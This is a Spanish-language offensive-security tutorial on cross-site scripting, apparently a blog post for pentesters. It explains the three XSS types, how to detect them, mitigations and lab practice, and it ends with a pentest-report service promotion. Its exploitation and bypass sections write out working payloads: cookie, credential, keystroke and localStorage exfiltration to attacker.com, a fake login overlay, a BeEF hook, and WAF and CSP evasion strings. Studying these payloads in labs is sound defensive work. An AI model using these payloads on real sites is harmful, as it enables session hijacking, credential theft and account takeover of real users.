El cross-site scripting lleva roto desde que existe la web. En 2026, sigue apareciendo en todas partes: SPAs modernas, aplicaciones empresariales legacy, frontends generados con IA sin codificación de salida, plataformas CMS con sanitización a medias. El XSS es el tipo de vulnerabilidad que se descarta fácilmente hasta que ves un token de sesión extraído de una aplicación bancaria o una carga útil de phishing entregada desde un dominio de confianza.
Esta guía lo cubre todo: cómo funciona el XSS, las tres categorías principales, detección con Burp y técnicas manuales, explotación para impacto real, bypass de filtros cuando los WAFs y sanitizadores están en el camino, y XSS basado en DOM, que la mayoría sigue sin entender bien.
¿Qué es el XSS?
El cross-site scripting (XSS) ocurre cuando una aplicación incluye datos no confiables en una página web sin la codificación o sanitización adecuada. El navegador interpreta la entrada controlada por el atacante como JavaScript ejecutable en lugar de datos.
El problema central: HTML y JavaScript comparten el mismo canal de entrega. Si puedes inyectar etiquetas <script>, manejadores de eventos o URIs JavaScript en una página que otros usuarios ven, controlas lo que se ejecuta en su navegador — bajo el contexto del sitio vulnerable.
Esto te da:
- Secuestro de sesión — robar cookies e impersonar usuarios
- Cosecha de credenciales — inyectar formularios de login falsos
- Keylogging — capturar todo lo que se escribe en la página
- Bypass de CSRF — realizar acciones como la víctima
- Entrega de malware — redirigir a exploit kits
- Escaneo de red interna — usar el navegador de la víctima como pivote
El XSS es el #3 del OWASP Top 10. Lleva ahí dos décadas. Sigue apareciendo porque la codificación de salida es aburrida y los desarrolladores la omiten.
Los Tres Tipos de XSS
XSS Reflejado
La carga útil viaja en la petición (parámetro URL, campo de formulario, cabecera HTTP) y se refleja inmediatamente en la respuesta. La víctima necesita ser engañada para hacer clic en un enlace malicioso.
https://vulnerable.com/search?q=<script>alert(document.cookie)</script>
Si la aplicación renderiza el parámetro q directamente en el HTML sin codificarlo, el script se ejecuta. El atacante construye la URL y la entrega mediante phishing, cadenas de redirección o ingeniería social.
Característica clave: No se almacena. Funciona mediante el reflejo petición → respuesta. Una sola víctima por clic.
XSS Almacenado (Persistente)
La carga útil se guarda en la base de datos o sistema de archivos de la aplicación — en un comentario, campo de perfil, post de foro, reseña de producto, descripción de ticket. Cada usuario que visualiza ese contenido ejecuta la carga útil.
Esta es la variante peligrosa. Una sola inyección, múltiples víctimas. Ideal para:
- Cosecha masiva de sesiones en una plataforma comunitaria
- Apuntar a usuarios específicos (admin que revisa la cola de moderación)
- Persistencia a largo plazo en apps empresariales donde el contenido inyectado permanece meses
Característica clave: La carga útil persiste en el servidor. Se ejecuta para cada visitante sin interacción adicional del atacante.
XSS Basado en DOM
La vulnerabilidad vive completamente en JavaScript del lado del cliente. El servidor envía una respuesta segura, pero los propios scripts de la página leen datos controlados por el atacante desde el DOM (location.hash, document.URL, window.location, localStorage) y los escriben en un sumidero peligroso sin sanitización.
La carga útil nunca llega al servidor — los WAFs estándar y los filtros del lado del servidor no la ven.
Ejemplo:
// Código vulnerable
var hash = document.location.hash.substring(1);
document.getElementById('msg').innerHTML = hash;
// URL de ataque
https://vulnerable.com/page#<img src=x onerror=alert(1)>
Característica clave: La respuesta del servidor es limpia. La explotación es completamente del lado del cliente. A menudo ignorado por los escáneres automáticos.
Detección
Burp Suite — El Flujo de Trabajo Correcto
El escáner de Burp Suite Pro detecta la mayoría del XSS reflejado y almacenado automáticamente, pero el testing manual encuentra lo que los escáneres pierden — especialmente el DOM-based y las inyecciones dependientes del contexto.
Recopilación pasiva primero:
- Proxear todo el tráfico por Burp mientras se usa la aplicación normalmente
- Mapear todos los vectores de entrada: parámetros URL, campos de formulario, cabeceras, valores del cuerpo JSON, cookies,
Referer,User-Agent - Anotar cómo se reflejan las entradas — en el cuerpo HTML, atributos HTML, contexto JavaScript, contexto URL
Testing activo:
- Enviar cada petición con entrada reflejada a Repeater
- Inyectar una cadena de prueba única:
RyukXSS123<>"' - Revisar la respuesta — ¿dónde aparece tu cadena? ¿Qué caracteres se codifican?
- Según el contexto, construir la carga útil apropiada
Mapeo de Contexto — Paso Crítico
Tu carga útil depende completamente de dónde cae la entrada:
Contexto de cuerpo HTML:
<!-- Entrada reflejada aquí -->
<p>Hola, [INPUT]</p>
<!-- Carga útil -->
<script>alert(1)</script>
<!-- o -->
<img src=x onerror=alert(1)>
Contexto de atributo HTML:
<!-- Entrada reflejada en atributo -->
<input value="[INPUT]">
<!-- Carga útil — salir del atributo -->
"><script>alert(1)</script>
<!-- o quedarse en el atributo con manejador de evento -->
" onmouseover="alert(1)
Contexto de cadena JavaScript:
<!-- Entrada dentro de una cadena JS -->
<script>var name = '[INPUT]';</script>
<!-- Carga útil — salir de la cadena -->
';alert(1)//
<!-- o -->
\';alert(1)//
Contexto URL:
<a href="[INPUT]">Clic</a>
<!-- Carga útil -->
javascript:alert(1)
Testing Manual de DOM XSS
Los escáneres pierden el DOM XSS con regularidad. Enfoque manual:
- En DevTools del navegador, buscar en todos los archivos JS fuentes peligrosas:
location.hash,location.search,document.URL,document.referrer,window.name,postMessage - Rastrear cómo esos valores fluyen hacia sumideros peligrosos:
innerHTML,outerHTML,document.write,eval,setTimeoutcon argumento de cadena,location.href, asignación del atributosrc - Inyectar cargas útiles a través de la fuente y observar el comportamiento del sumidero
DOM Invader (Burp Suite Pro) automatiza gran parte de esto — instrumenta la página para rastrear flujos de contaminación desde fuentes hasta sumideros.
Herramientas de Detección
- Burp Suite Pro — escáner + testing manual + DOM Invader
- Dalfox — escáner XSS rápido basado en parámetros:
dalfox url "https://objetivo.com/search?q=FUZZ" - XSStrike — detección XSS con reconocimiento de contexto y fuzzing
- DevTools del Navegador — esencial para análisis DOM
- Semgrep — escaneo de patrones XSS en código fuente (si tienes acceso al código)
Explotación — Más Allá del Alert(1)
alert(1) prueba la ejecución. Para impacto real, se necesita más.
Secuestro de Sesión
Robar la cookie de sesión y reproducirla:
// Exfiltrar cookie a servidor controlado por el atacante
fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
// Alternativa: exfiltración basada en imagen (sin necesidad de fetch JS)
new Image().src = 'https://attacker.com/steal?c=' + document.cookie;
Si la cookie tiene HttpOnly, no puedes leerla directamente. Pero aún puedes:
- Hacer peticiones autenticadas en nombre de la víctima (estilo CSRF)
- Extraer tokens CSRF del DOM de la página y usarlos
- Exfiltrar contenido de la página que contiene datos sensibles
Cosecha de Credenciales
Inyectar un formulario de login falso sobre la página real:
// Reemplazar contenido de la página con formulario de phishing
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999"><h2>Sesión expirada. Por favor ingresa de nuevo.</h2><form onsubmit="steal(event)"><input id="u" placeholder="Usuario"><input id="p" type="password" placeholder="Contraseña"><button>Iniciar sesión</button></form></div>';
function steal(e) {
e.preventDefault();
fetch('https://attacker.com/creds', {method:'POST', body: JSON.stringify({u: document.getElementById('u').value, p: document.getElementById('p').value})});
}
Keylogger
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keys?k=' + e.key);
});
BeEF (Browser Exploitation Framework)
Para post-explotación compleja, enganchar el navegador de la víctima en BeEF:
<script src="https://attacker.com:3000/hook.js"></script>
BeEF ofrece una GUI para:
- Ejecutar módulos (captura de pantalla, escaneo de red, robo de portapapeles, acceso a webcam)
- Mantener acceso persistente mientras la víctima está en la página
- Encadenar ataques contra la red interna a través del navegador
XSS a Toma de Control de Cuenta
Muchas apps modernas usan tokens en lugar de cookies, almacenados en localStorage o sessionStorage. HttpOnly no los protege:
// Robar todo el localStorage
var data = {};
for (var i = 0; i < localStorage.length; i++) {
data[localStorage.key(i)] = localStorage.getItem(localStorage.key(i));
}
fetch('https://attacker.com/loot', {method:'POST', body: JSON.stringify(data)});
Técnicas de Bypass de Filtros
Las aplicaciones modernas usan librerías de sanitización, WAFs y Content Security Policy. Así trabajan los red teamers para evadirlos.
Bypass por Codificación de Caracteres
Cuando los ángulos están filtrados:
// Codificación HTML
<script>alert(1)</script> -- no funciona
// Pero en algunos contextos, la codificación de entidades HTML puede sobrevivir ciclos de decodificación
// Codificación URL (en contexto URL)
%3Cscript%3Ealert(1)%3C/script%3E
// Doble codificación URL (algunos filtros decodifican una sola vez)
%253Cscript%253Ealert(1)%253C/script%253E
Bypass por Variación de Etiquetas
Filtros que bloquean <script>:
<!-- Variación de mayúsculas -->
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</ScRiPt>
<!-- Etiqueta rota (algunos navegadores parsean HTML roto) -->
<sc<script>ript>alert(1)</sc</script>ript>
<!-- Manejadores de eventos evitan la etiqueta script por completo -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
Bypass en Contexto JavaScript
Dentro de un bloque <script> con comillas filtradas:
// Template literals (backticks) evitan el filtrado de comillas
alert`1`
// String.fromCharCode
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
// Codificación hexadecimal
eval('\x61\x6c\x65\x72\x74\x28\x31\x29')
// Codificación octal
eval('\141\154\145\162\164\050\061\051')
Bypass de CSP
La Content Security Policy se supone que bloquea scripts inline. Configuraciones incorrectas comunes:
Unsafe eval permitido:
Content-Security-Policy: script-src 'unsafe-eval' https://cdn.example.com
Si eval está permitido, a menudo se puede ejecutar JS mediante inyección de plantillas.
CDN en lista blanca con archivos controlados por el usuario:
Content-Security-Policy: script-src https://cdn.jsdelivr.net
Si puedes subir un archivo JS a un CDN en la lista blanca (JSDelivr extrae de GitHub), puedes servir una carga útil desde ahí.
Endpoints JSONP en dominios de la lista blanca:
Algunas APIs devuelven JSONP con un parámetro de callback. Si apis.trusted.com está en la lista blanca y tiene un endpoint JSONP:
<script src="https://apis.trusted.com/data?callback=alert(1)//"></script>
Angular en modo bypass de CSP: El Angular legacy (1.x) tiene auto-bootstrap ng-app que ejecuta expresiones de plantilla. Si la página carga Angular desde un CDN en lista blanca:
{{constructor.constructor('alert(1)')()}}
Técnicas de Bypass de WAF
Los WAFs hacen coincidencia de patrones. Estrategias de bypass:
Ofuscación:
// Jsfuck — JS válido usando solo 6 caracteres
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]
// JSFuck codifica cualquier carga útil, evitando filtros regex por completo
Testing de mutación con XSStrike:
python3 xsstrike.py -u "https://objetivo.com/search?q=test" --fuzzer
Codificación chunked / HTTP smuggling — enviar la carga útil en múltiples peticiones para evadir el análisis de petición única.
Manejadores de eventos inusuales:
<marquee onstart=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<object data="javascript:alert(1)">
<math href="javascript:alert(1)">CLIC</math>
Escenarios XSS del Mundo Real
XSS Almacenado en Campo de Comentarios → Toma de Control de Cuenta Admin
- Identificar un campo de comentarios o nota con sanitización insuficiente
- Inyectar carga útil que se dispara cuando un admin revisa la cola de moderación:
<img src=x onerror="fetch('https://attacker.com/admin-cookie?c='+document.cookie)"> - Recibir la cookie de sesión del admin
- Reproducir la cookie → acceso de administrador
XSS Reflejado en Búsqueda → Phishing Masivo
- Identificar XSS reflejado en el parámetro de búsqueda
- Construir URL con carga útil de cosecha de credenciales
- Acortar la URL (para ocultar la carga útil)
- Entregar a usuarios via email, redes sociales, o post de foro comprometido
- Las víctimas llegan al sitio legítimo (sin indicadores de phishing en el navegador) — sus credenciales se exfiltran
DOM XSS en Hash → Bypass de CSP
- Identificar sumidero DOM que lee
location.hash - La carga útil nunca llega al servidor → WAF y filtros del servidor son ciegos
- Entregar:
https://objetivo.com/app#<img src=x onerror=alert(1)> - Combinado con CSP permisiva o sin CSP → ejecución completa de scripts
Mitigación (Conocer Lo Que Estás Probando)
Entender las mitigaciones te hace mejor atacante — sabes qué buscar y qué bypass aplicar.
Codificación de salida — la solución real. Codificar todos los datos suministrados por el usuario antes de renderizarlos:
- Contexto HTML → codificación de entidades HTML
- Contexto de atributo → codificación de atributo HTML
- Contexto JavaScript → escape de JavaScript
- Contexto URL → codificación porcentual URL
Content Security Policy — restringe las fuentes de scripts. Efectiva cuando es estricta (basada en 'nonce' o 'hash'). Inefectiva con 'unsafe-inline' o listas blancas permisivas.
Cookies HttpOnly — previene el acceso a document.cookie. No detiene el XSS; limita el impacto específicamente para el robo de cookies.
Librerías de sanitización — DOMPurify es el estándar de oro para sanitización del lado del cliente. Del lado del servidor: OWASP Java HTML Sanitizer, HtmlSanitizer (.NET). Solo confiar en librerías bien mantenidas y ampliamente auditadas.
Subresource Integrity (SRI) — garantiza que los scripts de terceros no han sido manipulados.
Como red teamer: cuando veas un WAF o CSP, no te detengas — caracterízalo y encuentra la brecha.
Práctica de Laboratorio XSS
La mejor forma de desarrollar esta habilidad es con repetición en entornos controlados. Un VPS ejecutando DVWA, bWAPP o WebGoat te da un entorno aislado sin riesgo.
- Vultr — levanta un VPS Ubuntu de $6/mes, despliega DVWA en Docker, practica en 10 minutos
- DigitalOcean — precio similar, droplets con un clic para configuración rápida de lab
Para aprendizaje guiado con escenarios del mundo real, la sala “Cross-site Scripting” de TryHackMe y PortSwigger Web Security Academy (gratuito) son ambas sólidas.
Checklist: Metodología de Testing XSS
Usar esto en cada pentest de aplicación web:
- Mapear todos los vectores de entrada (params, cabeceras, campos del cuerpo, cookies)
- Probar cada vector con cadena única, observar contexto de reflexión
- Probar contextos de cuerpo HTML, atributo, cadena JS y URL por separado
- Ejecutar DOM Invader o análisis manual de fuente/sumidero para DOM XSS
- Verificar comportamiento del filtro/WAF — ¿qué caracteres se codifican o bloquean?
- Intentar bypasses apropiados al contexto si la carga útil inicial es bloqueada
- Documentar impacto de explotación (PoC más allá de alert(1) cuando sea posible)
- Probar XSS almacenado en todas las operaciones de escritura (comentarios, perfiles, tickets, etc.)
Conclusión
El XSS no es glamoroso. Tampoco va a desaparecer. La brecha entre “el desarrollador pensó que esto estaba sanitizado” y “el atacante tiene tokens de sesión” es normalmente un puñado de caracteres y una llamada encodeURIComponent() que falta.
Para red teamers: el XSS te mete dentro del navegador — el único lugar que la detección de endpoints no vigila con suficiente cuidado. El robo de sesiones, el phishing de credenciales desde un dominio de confianza y el pivoting a través del navegador hacia redes internas son resultados reales, no teóricos.
Domina la metodología. Conoce tus contextos. Documenta el impacto más allá de la prueba de concepto.
¿Necesitas un informe personalizado de pentest de aplicación web? CipherWrite entrega informes profesionales de pentest y contenido de ciberseguridad — construido para red teamers.
